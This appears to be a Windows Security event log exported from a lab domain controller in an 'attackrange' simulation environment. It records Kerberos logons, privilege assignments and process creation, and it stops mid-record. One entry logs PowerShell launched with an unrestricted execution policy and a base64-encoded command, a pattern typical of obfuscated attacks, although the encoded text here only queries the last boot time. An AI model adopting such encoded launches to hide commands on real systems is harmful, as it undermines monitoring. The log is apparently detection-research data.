This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249583
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE564F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64297

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249582
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE564F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249581
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE55E9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249580
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE55E9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64296

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249579
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE55E9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249578
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5588

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249577
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5588
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64295

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249576
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5588

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249599
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5846

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249598
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5846
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64302

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249597
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5846

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249596
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE57E5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249595
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE57E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64301

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249594
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE57E5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249593
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE577F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249592
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE577F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64300

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249591
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE577F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249590
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE571E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249589
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE571E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64299

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249588
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE571E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249634
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE6443

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249633
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE6443
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249632
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249631
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249630
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249629
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE59F1

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb3c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249628
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE59F1

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb3c
	New Process Name:	C:\Windows\System32\cmd.exe
